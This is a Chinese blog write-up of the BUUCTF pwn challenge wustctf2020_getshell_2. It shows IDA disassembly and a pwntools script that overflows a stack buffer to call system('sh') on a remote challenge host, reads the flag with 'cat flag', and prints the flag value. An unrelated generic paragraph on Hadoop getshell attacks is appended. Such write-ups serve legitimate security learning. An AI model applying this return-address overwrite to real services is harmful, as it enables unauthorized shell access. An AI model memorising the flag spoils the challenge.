[buuctf]wustctf2020_getshell_2

30 篇文章 2 订阅

wustctf2020_getshell_2

思路

checksec一下,发现是开了nx的,32位的
在这里插入图片描述
之后拖入ida中进行分析。
在main函数里面直截了当的做溢出。

ssize_t vulnerable()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0x24u);
}
-00000018 buf             db ?
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

之后这里直接写入shell地址会发生这种情况无法执行的问题,因为发现一堆无用的数据在前面,导致压入system的时候无法执行,不知道这是什么命令。

.text:0804851B
.text:0804851B ; Attributes: bp-based frame
.text:0804851B
.text:0804851B                 public shell
.text:0804851B shell           proc near
.text:0804851B ; __unwind {
.text:0804851B                 push    ebp
.text:0804851C                 mov     ebp, esp
.text:0804851E                 sub     esp, 8
.text:08048521                 sub     esp, 0Ch
.text:08048524                 push    offset command  ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529                 call    _system
.text:0804852E                 add     esp, 10h
.text:08048531                 nop
.text:08048532                 leave
.text:08048533                 retn
.text:08048533 ; } // starts at 804851B
.text:08048533 shell           endp
.text:08048533
.text:08048534

我们那就直接把sh提取出来,利用rop工具。
在这里插入图片描述
之后是call system的地址。

.text:08048529                 call    _system

之后脚本形成

脚本

from pwn import *
#p = process("./wustctf2020_getshell_2")
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote('node4.buuoj.cn',25384)
payload = b'a'*(0x18+0x04)+p32(0x08048529)+p32(0x08048670)
p.recv()
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

直接获得flag是flag{7db5edef-bc9a-43c6-853e-97e56f62e7da}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
hadoop_getshell指的是利用Hadoop漏洞获取系统shell权限。Hadoop是一个开放源代码的分布式存储和计算框架,被广泛应用于大数据处理。但是,由于Hadoop的复杂性和开放性,可能存在各种漏洞和安全风险。 Hadoop_getshell通常是通过利用Hadoop的可远程读写文件的特性进行的攻击。攻击者利用该特性上传恶意的Jar文件,这个Jar文件包含了指令,能够执行系统命令,从而获取到服务器的shell权限。 一旦攻击者成功获取到shell权限,他们就可以在系统中执行各种操作,包括但不限于查看、修改、删除敏感数据,制造破坏或者窃取敏感信息。 防范hadoop_getshell攻击的关键是加强Hadoop集群的安全性。以下是一些常见的防御措施: 1. 及时更新Hadoop的版本和补丁,以修复已知的安全漏洞。 2. 限制Hadoop集群的访问权限。只有授权用户才能访问和操作集群。 3. 配置防火墙,限制对Hadoop集群的外部访问。 4. 定期审查Hadoop集群的日志,寻找异常行为和潜在的安全威胁。 5. 定期进行安全扫描和漏洞扫描,发现潜在的安全漏洞并及时修复。 6. 加强系统的监控和入侵检测,及时发现并应对异常活动。 7. 对Hadoop集群进行访问控制,使用强密码、多因素认证等加固账户安全。 8. 监控网络流量,发现并阻止异常的数据传输行为。 9. 定期进行安全培训和意识提升,提高员工对安全风险和攻击手段的认知。 总之,要防范hadoop_getshell攻击,需要综合应用多种防御措施,不断加强Hadoop集群的安全性,保护好大数据环境中的敏感信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值